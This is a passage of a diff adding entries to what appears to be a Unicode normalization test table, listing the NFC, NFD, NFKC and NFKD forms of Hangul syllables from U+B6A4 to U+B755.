+{ source: [0xB6A4], NFC: [0xB6A4], NFD: [0x1104, 0x116E, 0x11AF], NFKC: [0xB6A4], NFKD: [0x1104, 0x116E, 0x11AF] },
+{ source: [0xB6A5], NFC: [0xB6A5], NFD: [0x1104, 0x116E, 0x11B0], NFKC: [0xB6A5], NFKD: [0x1104, 0x116E, 0x11B0] },
+{ source: [0xB6A6], NFC: [0xB6A6], NFD: [0x1104, 0x116E, 0x11B1], NFKC: [0xB6A6], NFKD: [0x1104, 0x116E, 0x11B1] },
+{ source: [0xB6A7], NFC: [0xB6A7], NFD: [0x1104, 0x116E, 0x11B2], NFKC: [0xB6A7], NFKD: [0x1104, 0x116E, 0x11B2] },
+{ source: [0xB6A8], NFC: [0xB6A8], NFD: [0x1104, 0x116E, 0x11B3], NFKC: [0xB6A8], NFKD: [0x1104, 0x116E, 0x11B3] },
+{ source: [0xB6A9], NFC: [0xB6A9], NFD: [0x1104, 0x116E, 0x11B4], NFKC: [0xB6A9], NFKD: [0x1104, 0x116E, 0x11B4] },
+{ source: [0xB6AA], NFC: [0xB6AA], NFD: [0x1104, 0x116E, 0x11B5], NFKC: [0xB6AA], NFKD: [0x1104, 0x116E, 0x11B5] },
+{ source: [0xB6AB], NFC: [0xB6AB], NFD: [0x1104, 0x116E, 0x11B6], NFKC: [0xB6AB], NFKD: [0x1104, 0x116E, 0x11B6] },
+{ source: [0xB6AC], NFC: [0xB6AC], NFD: [0x1104, 0x116E, 0x11B7], NFKC: [0xB6AC], NFKD: [0x1104, 0x116E, 0x11B7] },
+{ source: [0xB6AD], NFC: [0xB6AD], NFD: [0x1104, 0x116E, 0x11B8], NFKC: [0xB6AD], NFKD: [0x1104, 0x116E, 0x11B8] },
+{ source: [0xB6AE], NFC: [0xB6AE], NFD: [0x1104, 0x116E, 0x11B9], NFKC: [0xB6AE], NFKD: [0x1104, 0x116E, 0x11B9] },
+{ source: [0xB6AF], NFC: [0xB6AF], NFD: [0x1104, 0x116E, 0x11BA], NFKC: [0xB6AF], NFKD: [0x1104, 0x116E, 0x11BA] },
+{ source: [0xB6B0], NFC: [0xB6B0], NFD: [0x1104, 0x116E, 0x11BB], NFKC: [0xB6B0], NFKD: [0x1104, 0x116E, 0x11BB] },
+{ source: [0xB6B1], NFC: [0xB6B1], NFD: [0x1104, 0x116E, 0x11BC], NFKC: [0xB6B1], NFKD: [0x1104, 0x116E, 0x11BC] },
+{ source: [0xB6B2], NFC: [0xB6B2], NFD: [0x1104, 0x116E, 0x11BD], NFKC: [0xB6B2], NFKD: [0x1104, 0x116E, 0x11BD] },
+{ source: [0xB6B3], NFC: [0xB6B3], NFD: [0x1104, 0x116E, 0x11BE], NFKC: [0xB6B3], NFKD: [0x1104, 0x116E, 0x11BE] },
+{ source: [0xB6B4], NFC: [0xB6B4], NFD: [0x1104, 0x116E, 0x11BF], NFKC: [0xB6B4], NFKD: [0x1104, 0x116E, 0x11BF] },
+{ source: [0xB6B5], NFC: [0xB6B5], NFD: [0x1104, 0x116E, 0x11C0], NFKC: [0xB6B5], NFKD: [0x1104, 0x116E, 0x11C0] },
+{ source: [0xB6B6], NFC: [0xB6B6], NFD: [0x1104, 0x116E, 0x11C1], NFKC: [0xB6B6], NFKD: [0x1104, 0x116E, 0x11C1] },
+{ source: [0xB6B7], NFC: [0xB6B7], NFD: [0x1104, 0x116E, 0x11C2], NFKC: [0xB6B7], NFKD: [0x1104, 0x116E, 0x11C2] },
+{ source: [0xB6B8], NFC: [0xB6B8], NFD: [0x1104, 0x116F], NFKC: [0xB6B8], NFKD: [0x1104, 0x116F] },
+{ source: [0xB6B9], NFC: [0xB6B9], NFD: [0x1104, 0x116F, 0x11A8], NFKC: [0xB6B9], NFKD: [0x1104, 0x116F, 0x11A8] },
+{ source: [0xB6BA], NFC: [0xB6BA], NFD: [0x1104, 0x116F, 0x11A9], NFKC: [0xB6BA], NFKD: [0x1104, 0x116F, 0x11A9] },
+{ source: [0xB6BB], NFC: [0xB6BB], NFD: [0x1104, 0x116F, 0x11AA], NFKC: [0xB6BB], NFKD: [0x1104, 0x116F, 0x11AA] },
+{ source: [0xB6BC], NFC: [0xB6BC], NFD: [0x1104, 0x116F, 0x11AB], NFKC: [0xB6BC], NFKD: [0x1104, 0x116F, 0x11AB] },
+{ source: [0xB6BD], NFC: [0xB6BD], NFD: [0x1104, 0x116F, 0x11AC], NFKC: [0xB6BD], NFKD: [0x1104, 0x116F, 0x11AC] },
+{ source: [0xB6BE], NFC: [0xB6BE], NFD: [0x1104, 0x116F, 0x11AD], NFKC: [0xB6BE], NFKD: [0x1104, 0x116F, 0x11AD] },
+{ source: [0xB6BF], NFC: [0xB6BF], NFD: [0x1104, 0x116F, 0x11AE], NFKC: [0xB6BF], NFKD: [0x1104, 0x116F, 0x11AE] },
+{ source: [0xB6C0], NFC: [0xB6C0], NFD: [0x1104, 0x116F, 0x11AF], NFKC: [0xB6C0], NFKD: [0x1104, 0x116F, 0x11AF] },
+{ source: [0xB6C1], NFC: [0xB6C1], NFD: [0x1104, 0x116F, 0x11B0], NFKC: [0xB6C1], NFKD: [0x1104, 0x116F, 0x11B0] },
+{ source: [0xB6C2], NFC: [0xB6C2], NFD: [0x1104, 0x116F, 0x11B1], NFKC: [0xB6C2], NFKD: [0x1104, 0x116F, 0x11B1] },
+{ source: [0xB6C3], NFC: [0xB6C3], NFD: [0x1104, 0x116F, 0x11B2], NFKC: [0xB6C3], NFKD: [0x1104, 0x116F, 0x11B2] },
+{ source: [0xB6C4], NFC: [0xB6C4], NFD: [0x1104, 0x116F, 0x11B3], NFKC: [0xB6C4], NFKD: [0x1104, 0x116F, 0x11B3] },
+{ source: [0xB6C5], NFC: [0xB6C5], NFD: [0x1104, 0x116F, 0x11B4], NFKC: [0xB6C5], NFKD: [0x1104, 0x116F, 0x11B4] },
+{ source: [0xB6C6], NFC: [0xB6C6], NFD: [0x1104, 0x116F, 0x11B5], NFKC: [0xB6C6], NFKD: [0x1104, 0x116F, 0x11B5] },
+{ source: [0xB6C7], NFC: [0xB6C7], NFD: [0x1104, 0x116F, 0x11B6], NFKC: [0xB6C7], NFKD: [0x1104, 0x116F, 0x11B6] },
+{ source: [0xB6C8], NFC: [0xB6C8], NFD: [0x1104, 0x116F, 0x11B7], NFKC: [0xB6C8], NFKD: [0x1104, 0x116F, 0x11B7] },
+{ source: [0xB6C9], NFC: [0xB6C9], NFD: [0x1104, 0x116F, 0x11B8], NFKC: [0xB6C9], NFKD: [0x1104, 0x116F, 0x11B8] },
+{ source: [0xB6CA], NFC: [0xB6CA], NFD: [0x1104, 0x116F, 0x11B9], NFKC: [0xB6CA], NFKD: [0x1104, 0x116F, 0x11B9] },
+{ source: [0xB6CB], NFC: [0xB6CB], NFD: [0x1104, 0x116F, 0x11BA], NFKC: [0xB6CB], NFKD: [0x1104, 0x116F, 0x11BA] },
+{ source: [0xB6CC], NFC: [0xB6CC], NFD: [0x1104, 0x116F, 0x11BB], NFKC: [0xB6CC], NFKD: [0x1104, 0x116F, 0x11BB] },
+{ source: [0xB6CD], NFC: [0xB6CD], NFD: [0x1104, 0x116F, 0x11BC], NFKC: [0xB6CD], NFKD: [0x1104, 0x116F, 0x11BC] },
+{ source: [0xB6CE], NFC: [0xB6CE], NFD: [0x1104, 0x116F, 0x11BD], NFKC: [0xB6CE], NFKD: [0x1104, 0x116F, 0x11BD] },
+{ source: [0xB6CF], NFC: [0xB6CF], NFD: [0x1104, 0x116F, 0x11BE], NFKC: [0xB6CF], NFKD: [0x1104, 0x116F, 0x11BE] },
+{ source: [0xB6D0], NFC: [0xB6D0], NFD: [0x1104, 0x116F, 0x11BF], NFKC: [0xB6D0], NFKD: [0x1104, 0x116F, 0x11BF] },
+{ source: [0xB6D1], NFC: [0xB6D1], NFD: [0x1104, 0x116F, 0x11C0], NFKC: [0xB6D1], NFKD: [0x1104, 0x116F, 0x11C0] },
+{ source: [0xB6D2], NFC: [0xB6D2], NFD: [0x1104, 0x116F, 0x11C1], NFKC: [0xB6D2], NFKD: [0x1104, 0x116F, 0x11C1] },
+{ source: [0xB6D3], NFC: [0xB6D3], NFD: [0x1104, 0x116F, 0x11C2], NFKC: [0xB6D3], NFKD: [0x1104, 0x116F, 0x11C2] },
+{ source: [0xB6D4], NFC: [0xB6D4], NFD: [0x1104, 0x1170], NFKC: [0xB6D4], NFKD: [0x1104, 0x1170] },
+{ source: [0xB6D5], NFC: [0xB6D5], NFD: [0x1104, 0x1170, 0x11A8], NFKC: [0xB6D5], NFKD: [0x1104, 0x1170, 0x11A8] },
+{ source: [0xB6D6], NFC: [0xB6D6], NFD: [0x1104, 0x1170, 0x11A9], NFKC: [0xB6D6], NFKD: [0x1104, 0x1170, 0x11A9] },
+{ source: [0xB6D7], NFC: [0xB6D7], NFD: [0x1104, 0x1170, 0x11AA], NFKC: [0xB6D7], NFKD: [0x1104, 0x1170, 0x11AA] },
+{ source: [0xB6D8], NFC: [0xB6D8], NFD: [0x1104, 0x1170, 0x11AB], NFKC: [0xB6D8], NFKD: [0x1104, 0x1170, 0x11AB] },
+{ source: [0xB6D9], NFC: [0xB6D9], NFD: [0x1104, 0x1170, 0x11AC], NFKC: [0xB6D9], NFKD: [0x1104, 0x1170, 0x11AC] },
+{ source: [0xB6DA], NFC: [0xB6DA], NFD: [0x1104, 0x1170, 0x11AD], NFKC: [0xB6DA], NFKD: [0x1104, 0x1170, 0x11AD] },
+{ source: [0xB6DB], NFC: [0xB6DB], NFD: [0x1104, 0x1170, 0x11AE], NFKC: [0xB6DB], NFKD: [0x1104, 0x1170, 0x11AE] },
+{ source: [0xB6DC], NFC: [0xB6DC], NFD: [0x1104, 0x1170, 0x11AF], NFKC: [0xB6DC], NFKD: [0x1104, 0x1170, 0x11AF] },
+{ source: [0xB6DD], NFC: [0xB6DD], NFD: [0x1104, 0x1170, 0x11B0], NFKC: [0xB6DD], NFKD: [0x1104, 0x1170, 0x11B0] },
+{ source: [0xB6DE], NFC: [0xB6DE], NFD: [0x1104, 0x1170, 0x11B1], NFKC: [0xB6DE], NFKD: [0x1104, 0x1170, 0x11B1] },
+{ source: [0xB6DF], NFC: [0xB6DF], NFD: [0x1104, 0x1170, 0x11B2], NFKC: [0xB6DF], NFKD: [0x1104, 0x1170, 0x11B2] },
+{ source: [0xB6E0], NFC: [0xB6E0], NFD: [0x1104, 0x1170, 0x11B3], NFKC: [0xB6E0], NFKD: [0x1104, 0x1170, 0x11B3] },
+{ source: [0xB6E1], NFC: [0xB6E1], NFD: [0x1104, 0x1170, 0x11B4], NFKC: [0xB6E1], NFKD: [0x1104, 0x1170, 0x11B4] },
+{ source: [0xB6E2], NFC: [0xB6E2], NFD: [0x1104, 0x1170, 0x11B5], NFKC: [0xB6E2], NFKD: [0x1104, 0x1170, 0x11B5] },
+{ source: [0xB6E3], NFC: [0xB6E3], NFD: [0x1104, 0x1170, 0x11B6], NFKC: [0xB6E3], NFKD: [0x1104, 0x1170, 0x11B6] },
+{ source: [0xB6E4], NFC: [0xB6E4], NFD: [0x1104, 0x1170, 0x11B7], NFKC: [0xB6E4], NFKD: [0x1104, 0x1170, 0x11B7] },
+{ source: [0xB6E5], NFC: [0xB6E5], NFD: [0x1104, 0x1170, 0x11B8], NFKC: [0xB6E5], NFKD: [0x1104, 0x1170, 0x11B8] },
+{ source: [0xB6E6], NFC: [0xB6E6], NFD: [0x1104, 0x1170, 0x11B9], NFKC: [0xB6E6], NFKD: [0x1104, 0x1170, 0x11B9] },
+{ source: [0xB6E7], NFC: [0xB6E7], NFD: [0x1104, 0x1170, 0x11BA], NFKC: [0xB6E7], NFKD: [0x1104, 0x1170, 0x11BA] },
+{ source: [0xB6E8], NFC: [0xB6E8], NFD: [0x1104, 0x1170, 0x11BB], NFKC: [0xB6E8], NFKD: [0x1104, 0x1170, 0x11BB] },
+{ source: [0xB6E9], NFC: [0xB6E9], NFD: [0x1104, 0x1170, 0x11BC], NFKC: [0xB6E9], NFKD: [0x1104, 0x1170, 0x11BC] },
+{ source: [0xB6EA], NFC: [0xB6EA], NFD: [0x1104, 0x1170, 0x11BD], NFKC: [0xB6EA], NFKD: [0x1104, 0x1170, 0x11BD] },
+{ source: [0xB6EB], NFC: [0xB6EB], NFD: [0x1104, 0x1170, 0x11BE], NFKC: [0xB6EB], NFKD: [0x1104, 0x1170, 0x11BE] },
+{ source: [0xB6EC], NFC: [0xB6EC], NFD: [0x1104, 0x1170, 0x11BF], NFKC: [0xB6EC], NFKD: [0x1104, 0x1170, 0x11BF] },
+{ source: [0xB6ED], NFC: [0xB6ED], NFD: [0x1104, 0x1170, 0x11C0], NFKC: [0xB6ED], NFKD: [0x1104, 0x1170, 0x11C0] },
+{ source: [0xB6EE], NFC: [0xB6EE], NFD: [0x1104, 0x1170, 0x11C1], NFKC: [0xB6EE], NFKD: [0x1104, 0x1170, 0x11C1] },
+{ source: [0xB6EF], NFC: [0xB6EF], NFD: [0x1104, 0x1170, 0x11C2], NFKC: [0xB6EF], NFKD: [0x1104, 0x1170, 0x11C2] },
+{ source: [0xB6F0], NFC: [0xB6F0], NFD: [0x1104, 0x1171], NFKC: [0xB6F0], NFKD: [0x1104, 0x1171] },
+{ source: [0xB6F1], NFC: [0xB6F1], NFD: [0x1104, 0x1171, 0x11A8], NFKC: [0xB6F1], NFKD: [0x1104, 0x1171, 0x11A8] },
+{ source: [0xB6F2], NFC: [0xB6F2], NFD: [0x1104, 0x1171, 0x11A9], NFKC: [0xB6F2], NFKD: [0x1104, 0x1171, 0x11A9] },
+{ source: [0xB6F3], NFC: [0xB6F3], NFD: [0x1104, 0x1171, 0x11AA], NFKC: [0xB6F3], NFKD: [0x1104, 0x1171, 0x11AA] },
+{ source: [0xB6F4], NFC: [0xB6F4], NFD: [0x1104, 0x1171, 0x11AB], NFKC: [0xB6F4], NFKD: [0x1104, 0x1171, 0x11AB] },
+{ source: [0xB6F5], NFC: [0xB6F5], NFD: [0x1104, 0x1171, 0x11AC], NFKC: [0xB6F5], NFKD: [0x1104, 0x1171, 0x11AC] },
+{ source: [0xB6F6], NFC: [0xB6F6], NFD: [0x1104, 0x1171, 0x11AD], NFKC: [0xB6F6], NFKD: [0x1104, 0x1171, 0x11AD] },
+{ source: [0xB6F7], NFC: [0xB6F7], NFD: [0x1104, 0x1171, 0x11AE], NFKC: [0xB6F7], NFKD: [0x1104, 0x1171, 0x11AE] },
+{ source: [0xB6F8], NFC: [0xB6F8], NFD: [0x1104, 0x1171, 0x11AF], NFKC: [0xB6F8], NFKD: [0x1104, 0x1171, 0x11AF] },
+{ source: [0xB6F9], NFC: [0xB6F9], NFD: [0x1104, 0x1171, 0x11B0], NFKC: [0xB6F9], NFKD: [0x1104, 0x1171, 0x11B0] },
+{ source: [0xB6FA], NFC: [0xB6FA], NFD: [0x1104, 0x1171, 0x11B1], NFKC: [0xB6FA], NFKD: [0x1104, 0x1171, 0x11B1] },
+{ source: [0xB6FB], NFC: [0xB6FB], NFD: [0x1104, 0x1171, 0x11B2], NFKC: [0xB6FB], NFKD: [0x1104, 0x1171, 0x11B2] },
+{ source: [0xB6FC], NFC: [0xB6FC], NFD: [0x1104, 0x1171, 0x11B3], NFKC: [0xB6FC], NFKD: [0x1104, 0x1171, 0x11B3] },
+{ source: [0xB6FD], NFC: [0xB6FD], NFD: [0x1104, 0x1171, 0x11B4], NFKC: [0xB6FD], NFKD: [0x1104, 0x1171, 0x11B4] },
+{ source: [0xB6FE], NFC: [0xB6FE], NFD: [0x1104, 0x1171, 0x11B5], NFKC: [0xB6FE], NFKD: [0x1104, 0x1171, 0x11B5] },
+{ source: [0xB6FF], NFC: [0xB6FF], NFD: [0x1104, 0x1171, 0x11B6], NFKC: [0xB6FF], NFKD: [0x1104, 0x1171, 0x11B6] },
+{ source: [0xB700], NFC: [0xB700], NFD: [0x1104, 0x1171, 0x11B7], NFKC: [0xB700], NFKD: [0x1104, 0x1171, 0x11B7] },
+{ source: [0xB701], NFC: [0xB701], NFD: [0x1104, 0x1171, 0x11B8], NFKC: [0xB701], NFKD: [0x1104, 0x1171, 0x11B8] },
+{ source: [0xB702], NFC: [0xB702], NFD: [0x1104, 0x1171, 0x11B9], NFKC: [0xB702], NFKD: [0x1104, 0x1171, 0x11B9] },
+{ source: [0xB703], NFC: [0xB703], NFD: [0x1104, 0x1171, 0x11BA], NFKC: [0xB703], NFKD: [0x1104, 0x1171, 0x11BA] },
+{ source: [0xB704], NFC: [0xB704], NFD: [0x1104, 0x1171, 0x11BB], NFKC: [0xB704], NFKD: [0x1104, 0x1171, 0x11BB] },
+{ source: [0xB705], NFC: [0xB705], NFD: [0x1104, 0x1171, 0x11BC], NFKC: [0xB705], NFKD: [0x1104, 0x1171, 0x11BC] },
+{ source: [0xB706], NFC: [0xB706], NFD: [0x1104, 0x1171, 0x11BD], NFKC: [0xB706], NFKD: [0x1104, 0x1171, 0x11BD] },
+{ source: [0xB707], NFC: [0xB707], NFD: [0x1104, 0x1171, 0x11BE], NFKC: [0xB707], NFKD: [0x1104, 0x1171, 0x11BE] },
+{ source: [0xB708], NFC: [0xB708], NFD: [0x1104, 0x1171, 0x11BF], NFKC: [0xB708], NFKD: [0x1104, 0x1171, 0x11BF] },
+{ source: [0xB709], NFC: [0xB709], NFD: [0x1104, 0x1171, 0x11C0], NFKC: [0xB709], NFKD: [0x1104, 0x1171, 0x11C0] },
+{ source: [0xB70A], NFC: [0xB70A], NFD: [0x1104, 0x1171, 0x11C1], NFKC: [0xB70A], NFKD: [0x1104, 0x1171, 0x11C1] },
+{ source: [0xB70B], NFC: [0xB70B], NFD: [0x1104, 0x1171, 0x11C2], NFKC: [0xB70B], NFKD: [0x1104, 0x1171, 0x11C2] },
+{ source: [0xB70C], NFC: [0xB70C], NFD: [0x1104, 0x1172], NFKC: [0xB70C], NFKD: [0x1104, 0x1172] },
+{ source: [0xB70D], NFC: [0xB70D], NFD: [0x1104, 0x1172, 0x11A8], NFKC: [0xB70D], NFKD: [0x1104, 0x1172, 0x11A8] },
+{ source: [0xB70E], NFC: [0xB70E], NFD: [0x1104, 0x1172, 0x11A9], NFKC: [0xB70E], NFKD: [0x1104, 0x1172, 0x11A9] },
+{ source: [0xB70F], NFC: [0xB70F], NFD: [0x1104, 0x1172, 0x11AA], NFKC: [0xB70F], NFKD: [0x1104, 0x1172, 0x11AA] },
+{ source: [0xB710], NFC: [0xB710], NFD: [0x1104, 0x1172, 0x11AB], NFKC: [0xB710], NFKD: [0x1104, 0x1172, 0x11AB] },
+{ source: [0xB711], NFC: [0xB711], NFD: [0x1104, 0x1172, 0x11AC], NFKC: [0xB711], NFKD: [0x1104, 0x1172, 0x11AC] },
+{ source: [0xB712], NFC: [0xB712], NFD: [0x1104, 0x1172, 0x11AD], NFKC: [0xB712], NFKD: [0x1104, 0x1172, 0x11AD] },
+{ source: [0xB713], NFC: [0xB713], NFD: [0x1104, 0x1172, 0x11AE], NFKC: [0xB713], NFKD: [0x1104, 0x1172, 0x11AE] },
+{ source: [0xB714], NFC: [0xB714], NFD: [0x1104, 0x1172, 0x11AF], NFKC: [0xB714], NFKD: [0x1104, 0x1172, 0x11AF] },
+{ source: [0xB715], NFC: [0xB715], NFD: [0x1104, 0x1172, 0x11B0], NFKC: [0xB715], NFKD: [0x1104, 0x1172, 0x11B0] },
+{ source: [0xB716], NFC: [0xB716], NFD: [0x1104, 0x1172, 0x11B1], NFKC: [0xB716], NFKD: [0x1104, 0x1172, 0x11B1] },
+{ source: [0xB717], NFC: [0xB717], NFD: [0x1104, 0x1172, 0x11B2], NFKC: [0xB717], NFKD: [0x1104, 0x1172, 0x11B2] },
+{ source: [0xB718], NFC: [0xB718], NFD: [0x1104, 0x1172, 0x11B3], NFKC: [0xB718], NFKD: [0x1104, 0x1172, 0x11B3] },
+{ source: [0xB719], NFC: [0xB719], NFD: [0x1104, 0x1172, 0x11B4], NFKC: [0xB719], NFKD: [0x1104, 0x1172, 0x11B4] },
+{ source: [0xB71A], NFC: [0xB71A], NFD: [0x1104, 0x1172, 0x11B5], NFKC: [0xB71A], NFKD: [0x1104, 0x1172, 0x11B5] },
+{ source: [0xB71B], NFC: [0xB71B], NFD: [0x1104, 0x1172, 0x11B6], NFKC: [0xB71B], NFKD: [0x1104, 0x1172, 0x11B6] },
+{ source: [0xB71C], NFC: [0xB71C], NFD: [0x1104, 0x1172, 0x11B7], NFKC: [0xB71C], NFKD: [0x1104, 0x1172, 0x11B7] },
+{ source: [0xB71D], NFC: [0xB71D], NFD: [0x1104, 0x1172, 0x11B8], NFKC: [0xB71D], NFKD: [0x1104, 0x1172, 0x11B8] },
+{ source: [0xB71E], NFC: [0xB71E], NFD: [0x1104, 0x1172, 0x11B9], NFKC: [0xB71E], NFKD: [0x1104, 0x1172, 0x11B9] },
+{ source: [0xB71F], NFC: [0xB71F], NFD: [0x1104, 0x1172, 0x11BA], NFKC: [0xB71F], NFKD: [0x1104, 0x1172, 0x11BA] },
+{ source: [0xB720], NFC: [0xB720], NFD: [0x1104, 0x1172, 0x11BB], NFKC: [0xB720], NFKD: [0x1104, 0x1172, 0x11BB] },
+{ source: [0xB721], NFC: [0xB721], NFD: [0x1104, 0x1172, 0x11BC], NFKC: [0xB721], NFKD: [0x1104, 0x1172, 0x11BC] },
+{ source: [0xB722], NFC: [0xB722], NFD: [0x1104, 0x1172, 0x11BD], NFKC: [0xB722], NFKD: [0x1104, 0x1172, 0x11BD] },
+{ source: [0xB723], NFC: [0xB723], NFD: [0x1104, 0x1172, 0x11BE], NFKC: [0xB723], NFKD: [0x1104, 0x1172, 0x11BE] },
+{ source: [0xB724], NFC: [0xB724], NFD: [0x1104, 0x1172, 0x11BF], NFKC: [0xB724], NFKD: [0x1104, 0x1172, 0x11BF] },
+{ source: [0xB725], NFC: [0xB725], NFD: [0x1104, 0x1172, 0x11C0], NFKC: [0xB725], NFKD: [0x1104, 0x1172, 0x11C0] },
+{ source: [0xB726], NFC: [0xB726], NFD: [0x1104, 0x1172, 0x11C1], NFKC: [0xB726], NFKD: [0x1104, 0x1172, 0x11C1] },
+{ source: [0xB727], NFC: [0xB727], NFD: [0x1104, 0x1172, 0x11C2], NFKC: [0xB727], NFKD: [0x1104, 0x1172, 0x11C2] },
+{ source: [0xB728], NFC: [0xB728], NFD: [0x1104, 0x1173], NFKC: [0xB728], NFKD: [0x1104, 0x1173] },
+{ source: [0xB729], NFC: [0xB729], NFD: [0x1104, 0x1173, 0x11A8], NFKC: [0xB729], NFKD: [0x1104, 0x1173, 0x11A8] },
+{ source: [0xB72A], NFC: [0xB72A], NFD: [0x1104, 0x1173, 0x11A9], NFKC: [0xB72A], NFKD: [0x1104, 0x1173, 0x11A9] },
+{ source: [0xB72B], NFC: [0xB72B], NFD: [0x1104, 0x1173, 0x11AA], NFKC: [0xB72B], NFKD: [0x1104, 0x1173, 0x11AA] },
+{ source: [0xB72C], NFC: [0xB72C], NFD: [0x1104, 0x1173, 0x11AB], NFKC: [0xB72C], NFKD: [0x1104, 0x1173, 0x11AB] },
+{ source: [0xB72D], NFC: [0xB72D], NFD: [0x1104, 0x1173, 0x11AC], NFKC: [0xB72D], NFKD: [0x1104, 0x1173, 0x11AC] },
+{ source: [0xB72E], NFC: [0xB72E], NFD: [0x1104, 0x1173, 0x11AD], NFKC: [0xB72E], NFKD: [0x1104, 0x1173, 0x11AD] },
+{ source: [0xB72F], NFC: [0xB72F], NFD: [0x1104, 0x1173, 0x11AE], NFKC: [0xB72F], NFKD: [0x1104, 0x1173, 0x11AE] },
+{ source: [0xB730], NFC: [0xB730], NFD: [0x1104, 0x1173, 0x11AF], NFKC: [0xB730], NFKD: [0x1104, 0x1173, 0x11AF] },
+{ source: [0xB731], NFC: [0xB731], NFD: [0x1104, 0x1173, 0x11B0], NFKC: [0xB731], NFKD: [0x1104, 0x1173, 0x11B0] },
+{ source: [0xB732], NFC: [0xB732], NFD: [0x1104, 0x1173, 0x11B1], NFKC: [0xB732], NFKD: [0x1104, 0x1173, 0x11B1] },
+{ source: [0xB733], NFC: [0xB733], NFD: [0x1104, 0x1173, 0x11B2], NFKC: [0xB733], NFKD: [0x1104, 0x1173, 0x11B2] },
+{ source: [0xB734], NFC: [0xB734], NFD: [0x1104, 0x1173, 0x11B3], NFKC: [0xB734], NFKD: [0x1104, 0x1173, 0x11B3] },
+{ source: [0xB735], NFC: [0xB735], NFD: [0x1104, 0x1173, 0x11B4], NFKC: [0xB735], NFKD: [0x1104, 0x1173, 0x11B4] },
+{ source: [0xB736], NFC: [0xB736], NFD: [0x1104, 0x1173, 0x11B5], NFKC: [0xB736], NFKD: [0x1104, 0x1173, 0x11B5] },
+{ source: [0xB737], NFC: [0xB737], NFD: [0x1104, 0x1173, 0x11B6], NFKC: [0xB737], NFKD: [0x1104, 0x1173, 0x11B6] },
+{ source: [0xB738], NFC: [0xB738], NFD: [0x1104, 0x1173, 0x11B7], NFKC: [0xB738], NFKD: [0x1104, 0x1173, 0x11B7] },
+{ source: [0xB739], NFC: [0xB739], NFD: [0x1104, 0x1173, 0x11B8], NFKC: [0xB739], NFKD: [0x1104, 0x1173, 0x11B8] },
+{ source: [0xB73A], NFC: [0xB73A], NFD: [0x1104, 0x1173, 0x11B9], NFKC: [0xB73A], NFKD: [0x1104, 0x1173, 0x11B9] },
+{ source: [0xB73B], NFC: [0xB73B], NFD: [0x1104, 0x1173, 0x11BA], NFKC: [0xB73B], NFKD: [0x1104, 0x1173, 0x11BA] },
+{ source: [0xB73C], NFC: [0xB73C], NFD: [0x1104, 0x1173, 0x11BB], NFKC: [0xB73C], NFKD: [0x1104, 0x1173, 0x11BB] },
+{ source: [0xB73D], NFC: [0xB73D], NFD: [0x1104, 0x1173, 0x11BC], NFKC: [0xB73D], NFKD: [0x1104, 0x1173, 0x11BC] },
+{ source: [0xB73E], NFC: [0xB73E], NFD: [0x1104, 0x1173, 0x11BD], NFKC: [0xB73E], NFKD: [0x1104, 0x1173, 0x11BD] },
+{ source: [0xB73F], NFC: [0xB73F], NFD: [0x1104, 0x1173, 0x11BE], NFKC: [0xB73F], NFKD: [0x1104, 0x1173, 0x11BE] },
+{ source: [0xB740], NFC: [0xB740], NFD: [0x1104, 0x1173, 0x11BF], NFKC: [0xB740], NFKD: [0x1104, 0x1173, 0x11BF] },
+{ source: [0xB741], NFC: [0xB741], NFD: [0x1104, 0x1173, 0x11C0], NFKC: [0xB741], NFKD: [0x1104, 0x1173, 0x11C0] },
+{ source: [0xB742], NFC: [0xB742], NFD: [0x1104, 0x1173, 0x11C1], NFKC: [0xB742], NFKD: [0x1104, 0x1173, 0x11C1] },
+{ source: [0xB743], NFC: [0xB743], NFD: [0x1104, 0x1173, 0x11C2], NFKC: [0xB743], NFKD: [0x1104, 0x1173, 0x11C2] },
+{ source: [0xB744], NFC: [0xB744], NFD: [0x1104, 0x1174], NFKC: [0xB744], NFKD: [0x1104, 0x1174] },
+{ source: [0xB745], NFC: [0xB745], NFD: [0x1104, 0x1174, 0x11A8], NFKC: [0xB745], NFKD: [0x1104, 0x1174, 0x11A8] },
+{ source: [0xB746], NFC: [0xB746], NFD: [0x1104, 0x1174, 0x11A9], NFKC: [0xB746], NFKD: [0x1104, 0x1174, 0x11A9] },
+{ source: [0xB747], NFC: [0xB747], NFD: [0x1104, 0x1174, 0x11AA], NFKC: [0xB747], NFKD: [0x1104, 0x1174, 0x11AA] },
+{ source: [0xB748], NFC: [0xB748], NFD: [0x1104, 0x1174, 0x11AB], NFKC: [0xB748], NFKD: [0x1104, 0x1174, 0x11AB] },
+{ source: [0xB749], NFC: [0xB749], NFD: [0x1104, 0x1174, 0x11AC], NFKC: [0xB749], NFKD: [0x1104, 0x1174, 0x11AC] },
+{ source: [0xB74A], NFC: [0xB74A], NFD: [0x1104, 0x1174, 0x11AD], NFKC: [0xB74A], NFKD: [0x1104, 0x1174, 0x11AD] },
+{ source: [0xB74B], NFC: [0xB74B], NFD: [0x1104, 0x1174, 0x11AE], NFKC: [0xB74B], NFKD: [0x1104, 0x1174, 0x11AE] },
+{ source: [0xB74C], NFC: [0xB74C], NFD: [0x1104, 0x1174, 0x11AF], NFKC: [0xB74C], NFKD: [0x1104, 0x1174, 0x11AF] },
+{ source: [0xB74D], NFC: [0xB74D], NFD: [0x1104, 0x1174, 0x11B0], NFKC: [0xB74D], NFKD: [0x1104, 0x1174, 0x11B0] },
+{ source: [0xB74E], NFC: [0xB74E], NFD: [0x1104, 0x1174, 0x11B1], NFKC: [0xB74E], NFKD: [0x1104, 0x1174, 0x11B1] },
+{ source: [0xB74F], NFC: [0xB74F], NFD: [0x1104, 0x1174, 0x11B2], NFKC: [0xB74F], NFKD: [0x1104, 0x1174, 0x11B2] },
+{ source: [0xB750], NFC: [0xB750], NFD: [0x1104, 0x1174, 0x11B3], NFKC: [0xB750], NFKD: [0x1104, 0x1174, 0x11B3] },
+{ source: [0xB751], NFC: [0xB751], NFD: [0x1104, 0x1174, 0x11B4], NFKC: [0xB751], NFKD: [0x1104, 0x1174, 0x11B4] },
+{ source: [0xB752], NFC: [0xB752], NFD: [0x1104, 0x1174, 0x11B5], NFKC: [0xB752], NFKD: [0x1104, 0x1174, 0x11B5] },
+{ source: [0xB753], NFC: [0xB753], NFD: [0x1104, 0x1174, 0x11B6], NFKC: [0xB753], NFKD: [0x1104, 0x1174, 0x11B6] },
+{ source: [0xB754], NFC: [0xB754], NFD: [0x1104, 0x1174, 0x11B7], NFKC: [0xB754], NFKD: [0x1104, 0x1174, 0x11B7] },
+{ source: [0xB755], NFC: [0xB755], NFD: [0x1104, 0x1174, 0x11B8], NFKC: [0xB755], NFKD: [0x1104, 0x1174, 0x11B8] },
